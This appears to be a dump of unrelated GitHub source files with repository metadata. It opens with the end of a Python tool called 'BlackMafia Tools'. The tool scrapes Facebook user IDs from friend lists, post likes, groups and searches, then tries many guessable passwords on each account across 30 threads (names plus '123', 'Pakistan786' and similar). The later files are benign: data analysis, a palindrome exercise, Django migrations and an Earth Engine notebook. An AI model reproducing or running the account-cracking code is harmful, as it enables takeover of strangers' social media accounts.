username=temanid(mbasic.format(usr['href'])) with ThreadPoolExecutor(max_workers=30) as ex: for user in username: aa=user.split('|') bb=aa[0].split(' ') for x in bb: litpas=[ str(x) + '123', str(x) + '1234', str(x) + '12345', str(x) + '123456' ] litpas.append('Pakistan') litpas.append('786786') litpas.append('Pakistan786') litpas.append('123786') for passw in set(litpas): ex.submit(login,(aa[1]),(passw)) print('\n\033[00m[\033[96m*\033[00m]Done.') elif ff == '3': clear() baner() nid() asw=input('\033[00mTarget User: \033[93m') if asw.isdigit(): asw='/profile.php?id='+asw else: asw='/'+asw try: usr=parser(ses.get(mbasic.format(asw),cookies=kukis).content,'html.parser').find('a',string='Teman') username=targetteman(mbasic.format(usr["href"])) except TypeError: print('\033[91mUser Not Found\033[00m') sleep(1) menu() with ThreadPoolExecutor(max_workers=30) as ex: for user in username: aa=user.split('|') bb=aa[0].split(' ') for x in bb: litpas=[ str(x) + '123', str(x) + '1234', str(x) + '12345', str(x) + '123456' ] litpas.append('Pakistan') litpas.append('786786') litpas.append('Pakistan786') litpas.append('Pakistan123') for passw in set(litpas): ex.submit(login,(aa[1]),(passw)) print('\n\033[00m[\033[96m*\033[00m]Done.') elif ff == '4': clear() baner() nid() asw=input('\033[00mPost?Url: \033[93m') if 'www.facebook' in asw: asw=asw.replace('www.facebook','mbasic.facebook') elif 'm.facebook.com' in asw: asw=asw.replace('m.facebook.com','mbasic.facebook.com') elif asw == '': print('\033[91mDont Be Empty!\033[00m') sleep(1) menu() username=like(asw) with ThreadPoolExecutor(max_workers=30) as ex: for user in username: aa=user.split('|') bb=aa[0].split(' ') for x in bb: litpas=[ str(x) + '123', str(x) + '1234', str(x) + '12345', str(x) + '123456' ] litpas.append('786786') litpas.append('Pakistan') litpas.append('Pakistan786') litpas.append('Pakistan123') litpas.append('000786') for passw in set(litpas): ex.submit(login,(aa[1]),(passw)) print('\n\033[00m[\033[96m*\033[00m]Done.') elif ff == '5': clear() baner() nid() asw=input('\033[00mID Groups: \033[93m') username=grupid(mbasic.format('/browse/group/members/?id='+asw)) with ThreadPoolExecutor(max_workers=30) as ex: for user in username: aa=user.split('|') bb=aa[0].split(' ') for x in bb: litpas=[ str(x) + '123', str(x) + '1234', str(x) + '12345', str(x) + '123456' ] litpas.append('000786') litpas.append('Pakistan') litpas.append('Pakistan123') litpas.append('Pakistan786') litpas.append('786786') for passw in set(litpas): ex.submit(login,(aa[1]),(passw)) print('\n\033[00m[\033[96m*\033[00m]Done.') elif ff == '6': clear() baner() nid() asw=input('\033[00mQuery: \033[93m') username=search(mbasic.format('/search/people/?q='+asw)) with ThreadPoolExecutor(max_workers=30) as ex: for user in username: aa=user.split('|') bb=aa[0].split(' ') for x in bb: litpas=[ str(x) + '123', str(x) + '1234', str(x) + '12345', str(x) + '123456' ] litpas.append('000786') litpas.append('Pakistan') litpas.append('Pakistan786') litpas.append('Pakistan123') litpas.append('786786') for passw in set(litpas): ex.submit(login,(aa[1]),(passw)) print('\n\033[00m[\033[96m*\033[00m]Done.') elif ff == '7': clear() baner() nid() username=kmn(mbasic.format('/friends/center/requests/#friends_center_main')) with ThreadPoolExecutor(max_workers=30) as ex: for user in username: aa=user.split('|') bb=aa[0].split(' ') for x in bb: litpas=[ str(x) + '123', str(x) + '1234', str(x) + '12345', str(x) + '123456' ] litpas.append('Pakistan') litpas.append('786786') litpas.append('Pakistan786') litpas.append('Pakistan123') for passw in set(litpas): ex.submit(login,(aa[1]),(passw)) print('\n\033[00m[\033[96m*\033[00m]Done.') elif ff == '0': sys.exit('\033[1;97mThanks For Using BlackMafia Tools\n\033[91mexit\033[00m') else: print('\033[91mWrong Input!\033[00m') sleep(1) menu() if __name__=="__main__": clear() baner() ses=requests.Session() kuki=masuk() kukis={'cookie':kuki} menu()
[ "noreply@github.com" ]
darkhunter141.noreply@github.com
a0db7f8ec9e13ecc385d9021b9ee3f35bb82ebdd
52e2b09db50161d051e9d571e53628b9265fd94f
/lesson3/0_all_tasks.py
278702a8a6832741adfafa4d459520ababd2a0d2
[]
no_license
someone-a/lp_hw
df3b09e068bb9b8aedd7427b5daf634a4d0a383d
e77e4f8efba434fce0a5c86ff1b6c8453288f535
refs/heads/master
2020-07-25T04:38:18.735609
2019-09-21T10:53:58
2019-09-21T10:53:58
208,167,357
0
0
null
null
null
null
UTF-8
Python
false
false
1,837
py
import pandas as pd from datetime import datetime from geopy import distance df = pd.read_csv('stops.csv',sep=';', comment='#') print(f"number of bus stops {len(df)}") street_stat = df.groupby('Street')['global_id'].agg('nunique') print(f'The most popular street is {street_stat.idxmax()}') print('top three streets are') for index, values in street_stat.nlargest(3).items(): print(index, values) df = pd.read_csv('metro.csv', sep = ';') def date_check(x, dt): list_of_date = x.split('-') if datetime.strptime(dt, '%d.%m.%Y') >= datetime.strptime(list_of_date[0], '%d.%m.%Y') and datetime.strptime(dt, '%d.%m.%Y') <= datetime.strptime(list_of_date[1], '%d.%m.%Y'): return 1 else: return 0 df = df[~df.RepairOfEscalators.isna()][['NameOfStation','Line','RepairOfEscalators']].reset_index(drop = True) df['is_station_repairing_now'] = df.apply(lambda x: date_check(x.RepairOfEscalators, '21.09.2019'), axis = 1) repairing_stations = df[df.is_station_repairing_now == 1] if len(repairing_stations) > 0: for station in repairing_stations: print(station.NameOfStation) else: print('there are no stations') stops = pd.read_csv('stops.csv',sep=';', comment='#') metro = pd.read_csv('metro.csv', sep = ';') stops_list = stops[[ 'Longitude_WGS84','Latitude_WGS84']].values def get_stops(lon, lat, list_to_check_with): metro =[lon,lat] counter = 0 for i in list_to_check_with: if distance.great_circle(metro, i).km <= 0.5: counter += 1 return counter metro['number_of_stops'] = metro.apply(lambda x: get_stops(x.Longitude_WGS84, x.Latitude_WGS84, stops_list), axis=1) top_metro_station = metro.sort_values('number_of_stops', ascending=False).reset_index(drop = True).NameOfStation[0] print(f"The largest number of busstops is near {top_metro_station}")
[ "someonenear@mail.ru" ]
someonenear@mail.ru
9b44d986d56a32025f008ddee3a9ecc1521909c0
2aed0d083a71c1d2dbce2778575120c7e8db193d
/44_Palindrome_count.py
d95562bff397ad008da4cbcb62859e84ee185d98
[]
no_license
kannan-c1609/Accenture
55e3bcc13897047ce0567b2a96ab1546cd818854
7244dee504a7b60fc00ba2f3f35096db9cf5f7f8
refs/heads/main
2023-08-15T04:08:19.547590
2021-09-16T18:25:10
2021-09-16T18:25:10
404,663,999
0
0
null
null
null
null
UTF-8
Python
false
false
1,032
py
""" Palindrome Count Write a function to find all the words in a string which are palindrome. Note: A string is said to be a palindrome if the reverse of the string is the same as string. For example, “abba” is a palindrome, but “abbc” is not a palindrome. Input Specification: Input1: string Input2: Length of the String Output Specification: Return the number of palindromes in the given string Example 1: Input1: this is level 71 Input2: 16 Output: 1 Explanation: The reverse of the word “level” is “level”. Hence, the word is a palindrome. As the string contains only one palindrome, so the returned value will be 1. Example 2: Input1: hello world Input2: 11 Output: 0 Explanation: As the given string doesn’t contain any palindrome, so the returned value will be 0. """ def fun(n): a = n.split(' ') count = 0 for i in a: if i == i[::-1]: count = count + 1 return count n = input() size = int(input()) print(fun(n))
[ "noreply@github.com" ]
kannan-c1609.noreply@github.com
8147ee54973388356c60c895c778940a1eee9e84
8d014c5513a0eeca086010b018b67336f8d042e0
/wicam_vlc.py
480b078447c514a89f8b8c568d94727f18331028
[]
no_license
rkuo2000/cv2
26ce0a06b4040eabb82319ec44cab5c3639b9495
16e64e7092d6654ea470e469d6b15f308ecd1788
refs/heads/master
2022-10-12T00:11:35.964818
2022-09-30T06:50:35
2022-09-30T06:50:35
108,848,948
5
29
null
2022-09-29T11:01:48
2017-10-30T12:38:58
Python
UTF-8
Python
false
false
457
py
# Install VLC Player on PC # Add Environtment System Variables: VLC_PLUGIN_PATH = C:\Program Files\VideoLAN\VLC\plugins # pip install python-vlc # WiFi connected to WiCam module (streaming video) import cv2 import vlc #player=vlc.MediaPlayer('rtsp://192.168.100.1/cam1/h264') player=vlc.MediaPlayer('rtsp://192.168.100.1/cam1/mpeg4') while 1: frame = player.play() cv2.imshow('VIDEO',frame) cv2.waitKey(1) cv2.destroyAllWindows()
[ "noreply@github.com" ]
rkuo2000.noreply@github.com
2d50a33f7a6f96a094b2b5a8c3082d850f8c3b9a
dea8cfa596d52d5db0e28ac43504e7212b43081b
/python/AtCoder Beginner Contest 123/Five Dishes .py
5b3b87bc101c5841242a539782cdaf0a6b8925b9
[]
no_license
Yuta123456/AtCoder
9871a44f12a8fca87b0e2863a999b716128de1ac
ca04422699719563e311f7d973459ba1dc238c2c
refs/heads/master
2023-01-04T22:33:54.120454
2020-11-04T05:20:37
2020-11-04T05:20:37
286,409,112
0
0
null
null
null
null
UTF-8
Python
false
false
483
py
def ceil(x): k = x % 10 if k == 0: return x else: return x + (10 - k) d = [] for i in range(5): d.append(int(input())) d_min = [] min = 124 sum = 0 index = -1 for i in range(5): d_min.append((d[i]) % 10) for i in range(5): if d_min[i] != 0: if min > d_min[i]: min = d_min[i] index = i if index == -1: index = 0 for i in range(5): if i != index: sum = sum + ceil(d[i]) sum += d[index] print(sum)
[ "yuuta09090530@icloud.com" ]
yuuta09090530@icloud.com
50cc23e44095ed0d1a72c03b36dae249a4dd19a2
29d7b72e11e5e8050bf743784a3634ea0f080a32
/shop_app/migrations/0054_category_number.py
ad735adbd1100eda5f5bcd73c1e8c2f48c410b68
[]
no_license
vincenttpham/dekage
8c3633235afee6c207c33d7108b58f3f555d855d
a5e380eb98a983de7317558ecca2aa1d906002da
refs/heads/main
2023-04-21T12:19:03.898801
2021-05-09T00:36:56
2021-05-09T00:36:56
341,022,901
0
0
null
null
null
null
UTF-8
Python
false
false
384
py
# Generated by Django 2.2 on 2021-02-22 03:47 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('shop_app', '0053_auto_20210221_2154'), ] operations = [ migrations.AddField( model_name='category', name='number', field=models.IntegerField(default=0), ), ]
[ "crystalpham@Crystals-MacBook-Pro.local" ]
crystalpham@Crystals-MacBook-Pro.local
40b35aefa6aa53d7c9e97137d474309dfdb68a8e
0d0cf0165ca108e8d94056c2bae5ad07fe9f9377
/15_Feature_Engineering_for_Machine_Learning_in_Python/2_Dealing_with_Messy_Data/howSparseIsMyData.py
6c17397750627c6381fd7a7979223548ea23969e
[]
no_license
MACHEIKH/Datacamp_Machine_Learning_For_Everyone
550ec4038ebdb69993e16fe22d5136f00101b692
9fe8947f490da221430e6dccce6e2165a42470f3
refs/heads/main
2023-01-22T06:26:15.996504
2020-11-24T11:21:53
2020-11-24T11:21:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
679
py
# How sparse is my data? # Most data sets contain missing values, often represented as NaN (Not a Number). If you are working with Pandas you can easily check how many missing values exist in each column. # Let's find out how many of the developers taking the survey chose to enter their age (found in the Age column of so_survey_df) and their gender (Gender column of so_survey_df). # Instructions 1/2 # 50 XP # Subset the DataFrame to only include the 'Age' and 'Gender' columns. # Print the number of non-missing values in both columns. # Subset the DataFrame sub_df = so_survey_df[['Age', 'Gender']] # Print the number of non-missing values print(sub_df.notnull().sum())
[ "noreply@github.com" ]
MACHEIKH.noreply@github.com
57c13ae96d495b58c53b9ab7525d3a333ceadcba
d65097195a7838458900ab678db8537a57102216
/vulnserver/GTER - EIP Overwrite/first_stage_gter.py
0be64b6e482b0d438c92a20f051a92b594378b19
[]
no_license
RaySdj/OSCE
15197b9678964047e08cd05b468faef3397fb8ba
0490b02a7ac07b6077fbb3f16d757e3345e2d6a2
refs/heads/master
2022-12-14T22:48:16.343273
2020-09-09T15:56:23
2020-09-09T15:56:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
520
py
import socket import struct import os import sys vuln_command = "GTER " crash = 160 offset = 151 eip = struct.pack("<I", 0x62501205) # JMP ESP jmp_back = "\x54\x59\x83\xE9\x64\xFF\xE1" # 1st Stage Shellcode payload = "" payload += vuln_command payload += "A" * 151 payload += eip payload += jmp_back payload += "C" * 20 print "[+] Sending buffer (Size: %d)" % len(payload) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 9999)) print(s.recv(1024)) s.send(payload) s.close()
[ "noreply@github.com" ]
RaySdj.noreply@github.com
42d6cbdf04e5bbb6398833f05d3653f58dbacfa6
c5291e50a3c72c885922378573a0ad423fcedf05
/analysis/analysis/urls.py
0a94cc17c066e5075d59765c816f00b7aac7ce4e
[]
no_license
raghurammanyam/django-projects
bcc3ed6285882af437a2995514cef33760fb063e
dd20ae354f7f111a0176a1cc047c099bd23e9f05
refs/heads/master
2022-12-12T19:22:31.698114
2018-12-09T09:41:45
2018-12-09T09:41:45
137,443,359
0
0
null
2022-11-22T03:01:07
2018-06-15T05:08:15
Python
UTF-8
Python
false
false
929
py
"""analysis URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.conf.urls import url,include #from django.urls import path, include from django.http import HttpResponse from django.conf import settings from data import urls urlpatterns = [ url('admin/',(admin.site.urls)), url(r'^',include('data.urls')), ]
[ "manyamraghuram@gmail.com" ]
manyamraghuram@gmail.com
5c3d725b18d3f2bab2b198212b0d66e8e11d2102
4d122aa6da87f1c49fd6f6ef60c295bb456f14a2
/Python/191. Number of 1 Bits.py
2fb92f631cd0389153bccca83e8664916b2cc662
[]
no_license
Ryuk17/LeetCode
dc9e37e6f037d2bc13cbf676b784f264ec341723
6910890b540613c0f871f575adf34f9fd7d42dff
refs/heads/master
2023-06-07T08:03:47.211173
2021-06-27T11:57:09
2021-06-27T11:57:09
98,619,878
1
0
null
null
null
null
UTF-8
Python
false
false
264
py
class Solution(object): def hammingWeight(self, n): """ :type n: int :rtype: int """ count = 0 x = bin(n)[2:] for c in x: if c == '1': count += 1 return count
[ "liujieit@foxmail.com" ]
liujieit@foxmail.com
5f4bca888d2bd25f8db72cad9e3e81e1d80dbd33
afc0ea14bc9271ac831549ac5d5b279c168b50c9
/src/settings.py
0f369f7e9dc122c72358a6ac5b2e44568089871c
[]
no_license
indre-bogdan/sustainable-waste-management-optimization
ac2bf34139314073ed35eea2072932669c1871bc
3b1e66c37e782b52a4e92cb2b7e7b9c6192ffbd4
refs/heads/master
2022-04-08T13:02:23.218608
2020-02-24T08:54:14
2020-02-24T08:54:14
222,386,405
0
0
null
null
null
null
UTF-8
Python
false
false
324
py
class Settings(): """A class to store the settings""" def __init__(self): """Initializes static settings""" self.nrOfIndividuals = 38 self.individualLength = 2 * self.nrOfIndividuals self.volumeCenter = 100 self.volumeOneTileAway = 50 self.volumeTwoTilesAway = 25
[ "indremarian@gmail.com" ]
indremarian@gmail.com
2093ce0cb85111f3f214151ed4bcb78b1d2e34fc
ff4fe07752b61aa6404f85a8b4752e21e8a5bac8
/challenge-209/eric-cheung/python/ch-2.py
624ac7029fd2589ae8c5e87fe90970b576910183
[]
no_license
choroba/perlweeklychallenge-club
7c7127b3380664ca829158f2b6161c2f0153dfd9
2b2c6ec6ece04737ba9a572109d5e7072fdaa14a
refs/heads/master
2023-08-10T08:11:40.142292
2023-08-06T20:44:13
2023-08-06T20:44:13
189,776,839
0
1
null
2019-06-01T20:56:32
2019-06-01T20:56:32
null
UTF-8
Python
false
false
1,044
py
## arrAccount = [["A", "a1@a.com", "a2@a.com"], ["B", "b1@b.com"], ["A", "a3@a.com", "a1@a.com"]] ## Example 1 arrAccount = [["A", "a1@a.com", "a2@a.com"], ["B", "b1@b.com"], ["A", "a3@a.com"], ["B", "b2@b.com", "b1@b.com"]] ## Example 2 arrUser = [arrAccount[0][0]] arrEmail = [arrAccount[0][1:]] arrFinal = [] for nIndx in range(1, len(arrAccount)): if arrAccount[nIndx][0] not in arrUser: arrUser.append(arrAccount[nIndx][0]) arrEmail.append(arrAccount[nIndx][1:]) else: nFindIndx = arrUser.index(arrAccount[nIndx][0]) if len(list(set(arrEmail[nFindIndx]) & set(arrAccount[nIndx][1:]))) == 0: arrUser.append(arrAccount[nIndx][0]) arrEmail.append(arrAccount[nIndx][1:]) else: arrEmail[nFindIndx] = sorted(list(set(arrEmail[nFindIndx] + arrAccount[nIndx][1:]))) ## print (arrUser) ## print (arrEmail) for nIndx in range(0, len(arrUser)): arrFinal.append([arrUser[nIndx], str(arrEmail[nIndx][:])[1:-1]]) print (arrFinal)
[ "mohammad.anwar@yahoo.com" ]
mohammad.anwar@yahoo.com
19cdad09fcea597b9049e86da3c0e55f919ffb8e
14f30311d0c93053d159118f5b978f26352fa201
/NAIP/loop_FeatureCollection.py
9c19c5419f0d1ff011badcc08639be57065e84e5
[ "MIT" ]
permissive
kylebarron/earthengine-py-notebooks
590a343c5011f3e9a346c2379016e262aa13801f
4e9e3bae244fb66284f77c264f19aa297fb0fea1
refs/heads/master
2022-07-31T07:33:21.109880
2020-05-18T23:42:26
2020-05-18T23:42:26
257,686,790
0
0
MIT
2020-04-21T18:50:58
2020-04-21T18:50:57
null
UTF-8
Python
false
false
8,278
py
# %% """ <table class="ee-notebook-buttons" align="left"> <td><a target="_blank" href="https://github.com/giswqs/earthengine-py-notebooks/tree/master/NAIP/loop_FeatureCollection.ipynb"><img width=32px src="https://www.tensorflow.org/images/GitHub-Mark-32px.png" /> View source on GitHub</a></td> <td><a target="_blank" href="https://nbviewer.jupyter.org/github/giswqs/earthengine-py-notebooks/blob/master/NAIP/loop_FeatureCollection.ipynb"><img width=26px src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/38/Jupyter_logo.svg/883px-Jupyter_logo.svg.png" />Notebook Viewer</a></td> <td><a target="_blank" href="https://colab.research.google.com/github/giswqs/earthengine-py-notebooks/blob/master/NAIP/loop_FeatureCollection.ipynb"><img src="https://www.tensorflow.org/images/colab_logo_32px.png" /> Run in Google Colab</a></td> </table> """ # %% """ ## Install Earth Engine API and geemap Install the [Earth Engine Python API](https://developers.google.com/earth-engine/python_install) and [geemap](https://github.com/giswqs/geemap). The **geemap** Python package is built upon the [ipyleaflet](https://github.com/jupyter-widgets/ipyleaflet) and [folium](https://github.com/python-visualization/folium) packages and implements several methods for interacting with Earth Engine data layers, such as `Map.addLayer()`, `Map.setCenter()`, and `Map.centerObject()`. The following script checks if the geemap package has been installed. If not, it will install geemap, which automatically installs its [dependencies](https://github.com/giswqs/geemap#dependencies), including earthengine-api, folium, and ipyleaflet. **Important note**: A key difference between folium and ipyleaflet is that ipyleaflet is built upon ipywidgets and allows bidirectional communication between the front-end and the backend enabling the use of the map to capture user input, while folium is meant for displaying static data only ([source](https://blog.jupyter.org/interactive-gis-in-jupyter-with-ipyleaflet-52f9657fa7a)). Note that [Google Colab](https://colab.research.google.com/) currently does not support ipyleaflet ([source](https://github.com/googlecolab/colabtools/issues/60#issuecomment-596225619)). Therefore, if you are using geemap with Google Colab, you should use [`import geemap.eefolium`](https://github.com/giswqs/geemap/blob/master/geemap/eefolium.py). If you are using geemap with [binder](https://mybinder.org/) or a local Jupyter notebook server, you can use [`import geemap`](https://github.com/giswqs/geemap/blob/master/geemap/geemap.py), which provides more functionalities for capturing user input (e.g., mouse-clicking and moving). """ # %% # Installs geemap package import subprocess try: import geemap except ImportError: print('geemap package not installed. Installing ...') subprocess.check_call(["python", '-m', 'pip', 'install', 'geemap']) # Checks whether this notebook is running on Google Colab try: import google.colab import geemap.eefolium as emap except: import geemap as emap # Authenticates and initializes Earth Engine import ee try: ee.Initialize() except Exception as e: ee.Authenticate() ee.Initialize() # %% """ ## Create an interactive map The default basemap is `Google Satellite`. [Additional basemaps](https://github.com/giswqs/geemap/blob/master/geemap/geemap.py#L13) can be added using the `Map.add_basemap()` function. """ # %% Map = emap.Map(center=[40,-100], zoom=4) Map.add_basemap('ROADMAP') # Add Google Map Map # %% """ ## Add Earth Engine Python script """ # %% # Add Earth Engine dataset year = 2015 collection = ee.ImageCollection('USDA/NAIP/DOQQ') startTime = ee.Date(str(year) + '-01-01') endTime = ee.Date(str(year) + '-12-31') # year = startTime.get('year').getInfo() # print(year) fromFT = ee.FeatureCollection('ft:1CLldB-ULPyULBT2mxoRNv7enckVF0gCQoD2oH7XP') # count = fromFT.size().getInfo() # print(count) polys = fromFT.geometry() centroid = polys.centroid() lng, lat = centroid.getInfo()['coordinates'] # print("lng = {}, lat = {}".format(lng, lat)) values = fromFT.reduceColumns(ee.Reducer.toList(2), ['system:index', 'name']).getInfo()['list'] # print(values) Map.setCenter(lng, lat, 10) def subsetNAIP(img_col, startTime, endTime, fc): img = img_col.filterDate(startTime, endTime).filterBounds(fc).mosaic().clip(fc) return img def calNDWI(image): """A function to compute NDWI.""" ndwi = image.normalizedDifference(['G', 'N']) ndwiViz = {'min': 0, 'max': 1, 'palette': ['00FFFF', '0000FF']} ndwiMasked = ndwi.updateMask(ndwi.gte(0.2)) ndwi_bin = ndwiMasked.gt(0) patch_size = ndwi_bin.connectedPixelCount(500, True) large_patches = patch_size.eq(500) large_patches = large_patches.updateMask(large_patches) opened = large_patches.focal_min(1).focal_max(1) return opened def rasterToVector(img, fc): vec = img.reduceToVectors(geometry=fc, eightConnected=True, maxPixels=59568116121, crs=img.projection(), scale=1) return vec def exportToDrive(vec, filename): taskParams = { 'driveFolder': 'image', 'fileFormat': 'KML' } task = ee.batch.Export.table(vec, filename, taskParams) task.start() vis = {'bands': ['N', 'R', 'G']} for (id, name) in values: watershed = fromFT.filter(ee.Filter.eq('system:index', str(id))) filename = "Y" + str(year) + "_" + str(id) + "_" + str(name).replace(" ", "_") print(filename) image = subsetNAIP(collection, startTime, endTime, watershed) ndwi = calNDWI(image) vector = rasterToVector(ndwi, watershed) exportToDrive(vector, filename) # Map.addLayer(image, vis) # Map.addLayer(vector) # for i in range(2, 2 + count): # watershed = fromFT.filter(ee.Filter.eq('system:index', str(i))) # re = fc.filterBounds(watershed) # task = ee.batch.Export.table(re, 'watershed-' + str(i), taskParams) # task.start() # # # # lng_lat = ee.Geometry.Point(lng, lat) # naip = collection.filterBounds(polys) # naip_2015 = naip.filterDate('2015-01-01', '2015-12-31') # ppr = naip_2015.mosaic() # # count = naip_2015.size().getInfo() # print("Count: ", count) # # # print(naip_2015.size().getInfo()) # vis = {'bands': ['N', 'R', 'G']} # Map.setCenter(lng, lat, 12) # Map.addLayer(ppr,vis) # # Map.addLayer(polys) # # def NDWI(image): # """A function to compute NDWI.""" # ndwi = image.normalizedDifference(['G', 'N']) # ndwiViz = {'min': 0, 'max': 1, 'palette': ['00FFFF', '0000FF']} # ndwiMasked = ndwi.updateMask(ndwi.gte(0.05)) # ndwi_bin = ndwiMasked.gt(0) # patch_size = ndwi_bin.connectedPixelCount(500, True) # large_patches = patch_size.eq(500) # large_patches = large_patches.updateMask(large_patches) # opened = large_patches.focal_min(1).focal_max(1) # return opened # # ndwi_collection = naip_2015.map(NDWI) # # Map.addLayer(ndwi_collection) # # print(ndwi_collection.getInfo()) # # # downConfig = {'scale': 10, "maxPixels": 1.0E13, 'driveFolder': 'image'} # scale means resolution. # # img_lst = ndwi_collection.toList(100) # # # # taskParams = { # # 'driveFolder': 'image', # # 'driveFileNamePrefix': 'ndwi', # # 'fileFormat': 'KML' # # } # # # # for i in range(0, count): # # image = ee.Image(img_lst.get(i)) # # name = image.get('system:index').getInfo() # # print(name) # # # task = ee.batch.Export.image(image, "ndwi2-" + name, downConfig) # # # task.start() # # mosaic = ndwi_collection.mosaic().clip(polys) # fc = mosaic.reduceToVectors(eightConnected=True, maxPixels=59568116121, crs=mosaic.projection(), scale=1) # # Map.addLayer(fc) # taskParams = { # 'driveFolder': 'image', # 'driveFileNamePrefix': 'water', # 'fileFormat': 'KML' # } # # count = fromFT.size().getInfo() # Map.setCenter(lng, lat, 10) # # for i in range(2, 2 + count): # watershed = fromFT.filter(ee.Filter.eq('system:index', str(i))) # re = fc.filterBounds(watershed) # # task = ee.batch.Export.table(re, 'watershed-' + str(i), taskParams) # # task.start() # # Map.addLayer(fc) # # # # lpc = fromFT.filter(ee.Filter.eq('name', 'Little Pipestem Creek')) # %% """ ## Display Earth Engine data layers """ # %% Map.addLayerControl() # This line is not needed for ipyleaflet-based Map. Map
[ "giswqs@gmail.com" ]
giswqs@gmail.com
96b924403b979fdb28c822ba95d6e11cb3fec72c
d05941afcd6f193d8184821c1d782a42bad27ba0
/Python/7 kyu - Limit string length - 1.py
b6dd44eefc9d1dd746bd1ea28679afb4bc2b94e5
[ "MIT" ]
permissive
icest99/Codewar
630267343f2ed668f95224bf5e9a0b26315f566c
40b2088ec0316709cda0a3ebbc6c327c9923af02
refs/heads/main
2023-02-16T02:12:02.571154
2021-01-03T17:16:38
2021-01-03T17:16:38
325,219,881
0
0
null
null
null
null
UTF-8
Python
false
false
458
py
# Description: # The function must return the truncated version of the given string up to the given limit followed by "..." if the result is shorter than the original. Return the same string if nothing was truncated. # Example: # solution('Testing String', 3) --> 'Tes...' # solution('Testing String', 8) --> 'Testing ...' # solution('Test', 8) --> 'Test' def solution(st, limit): return (st[0:limit] + "...") if (limit < len(st)) else st
[ "playicest@gmail.com" ]
playicest@gmail.com
be973408205282b7bd3a67103a473d192b8a5050
fdaaba6beec4d6b8f287a5165d0dcacf5dbfaad5
/first python.py
8b7e9558b7a6322c2604507dd3d63206701be7ce
[]
no_license
ax007dank/repostest
41c1a6522fe8fc164e452f6dae40cf932bbf7c43
336de4a9855cd4feafef2898a93141447228a7f8
refs/heads/master
2022-12-25T19:25:30.866821
2020-08-26T08:29:27
2020-08-26T08:29:27
290,434,682
0
0
null
2020-08-26T08:29:29
2020-08-26T08:03:47
Python
UTF-8
Python
false
false
44
py
#Display the Outpu print("New Python File")
[ "noreply@github.com" ]
ax007dank.noreply@github.com
5e3155e560a1c4c9932aad5f2150648b1da46f76
fd7d7e1410874d18823bbe3c0f3c521cb54e079c
/news/migrations/0008_auto_20191002_1652.py
50dcb8502c426938f35aa56cdf27f8b4495221b8
[ "MIT" ]
permissive
alex-muliande/tribune
9c1728311e42b16cf90e3b6e94b64a2b1ed3c8be
86316dd4b20a76320b4b20b86266f89aac02a326
refs/heads/master
2023-08-03T13:20:47.852749
2019-10-03T09:25:46
2019-10-03T09:25:46
212,532,363
1
0
MIT
2021-09-08T01:19:17
2019-10-03T08:37:00
Python
UTF-8
Python
false
false
466
py
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2019-10-02 13:52 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('news', '0007_article_article_image'), ] operations = [ migrations.AlterField( model_name='article', name='article_image', field=models.ImageField(upload_to='articles/'), ), ]
[ "amuliande@gmail.com" ]
amuliande@gmail.com
c6ac479b79ac8598dc5eecd9292f7d8afe2241ff
38d84896160cb547565a70cab7bbe7be64263c0d
/test_print.py
b5314993193d6b7eabc6d54d3fdf0cf3fbc0c3a2
[]
no_license
saiabinesh/future-news-trends
98c1d70f9ce71f27987afd3442ad7210b4d4ff7b
b6bfd171a93ee4b143a5fed100eacc867b8d80d0
refs/heads/master
2020-04-05T14:33:57.668710
2017-08-12T21:50:43
2017-08-12T21:50:43
94,680,184
1
0
null
null
null
null
UTF-8
Python
false
false
519
py
import sys class Logger(object): def __init__(self): self.terminal = sys.stdout self.log = open("logfile.log", "a") def write(self, message): self.terminal.write(message) self.log.write(message) # def flush(self): # #this flush method is needed for python 3 compatibility. # #this handles the flush command by doing nothing. # #you might want to specify some extra behavior here. # pass for i in range(10): print(i)
[ "noreply@github.com" ]
saiabinesh.noreply@github.com
d38ded7e53d09752b5f5ac4a5a5e44c02f68ff3b
2d049ffb5c2283e71ef699e9aba0240cd2b12ad4
/pyxedit/xedit/object_classes/OBND.py
c6a921d492cf159716ec9779d34d472655126a5e
[ "MIT" ]
permissive
leontristain/pyxedit
57f9d53ed6b5cfc3802e8799636dce421955f536
4100506930ab6d62d6e2c4a89fee024dbbf87c7b
refs/heads/master
2023-01-06T16:50:45.544602
2021-05-02T19:06:37
2021-05-02T19:06:37
179,760,373
1
1
MIT
2022-12-26T21:31:52
2019-04-05T22:03:09
Python
UTF-8
Python
false
false
356
py
from pyxedit.xedit.attribute import XEditAttribute from pyxedit.xedit.generic import XEditGenericObject class XEditObjectBounds(XEditGenericObject): SIGNATURE = 'OBND' x1 = XEditAttribute('X1') y1 = XEditAttribute('Y1') z1 = XEditAttribute('Z1') x2 = XEditAttribute('X2') y2 = XEditAttribute('Y2') z2 = XEditAttribute('Z2')
[ "ltristain@yahoo.com" ]
ltristain@yahoo.com
39e6bf4ecf39d328147ec7c400a110efd5dcabae
292b43454189f1cb5e67fc0a6f77b9b76cc5c156
/dvaapp/views.py
66c904e64b907a77f5ec8839082008beb94f1765
[ "BSD-3-Clause", "MIT", "Apache-2.0" ]
permissive
junjiez/DeepVideoAnalytics
b9f4e00d800c972ae71233699f341d6f733c2d61
03e708a12e1941cedb1449fc7bbc02b3c0fca1d2
refs/heads/master
2021-06-25T21:18:49.767732
2017-09-12T19:16:22
2017-09-12T19:16:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
53,986
py
